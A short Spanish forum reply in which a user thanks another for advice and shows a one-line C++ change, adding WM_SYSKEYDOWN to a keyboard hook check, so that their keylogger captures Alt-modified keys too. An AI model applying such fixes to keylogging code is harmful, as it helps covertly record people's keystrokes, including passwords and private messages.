Cita de: Queta en 13 Agosto 2011, 13:04 PM
Estás utilizando WM_KEYDOWN y como consecuencia:
http://msdn.microsoft.com/en-us/library/ms646280.aspx
Una posible solución sería utilizar WM_SYSKEYDOWN:
http://msdn.microsoft.com/en-us/library/ms646286.aspx
En efecto, he cambiado la linea
Código (cpp) [Seleccionar]
if (wParam == WM_KEYDOWN)
por
Código (cpp) [Seleccionar]
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
para que tambien reconozca dicho mensaje.
Y ha detectado todo corréctamente. espero que dicho cambio no altere la funcionalidad de mi keylogger.
Saludos y gracias Queta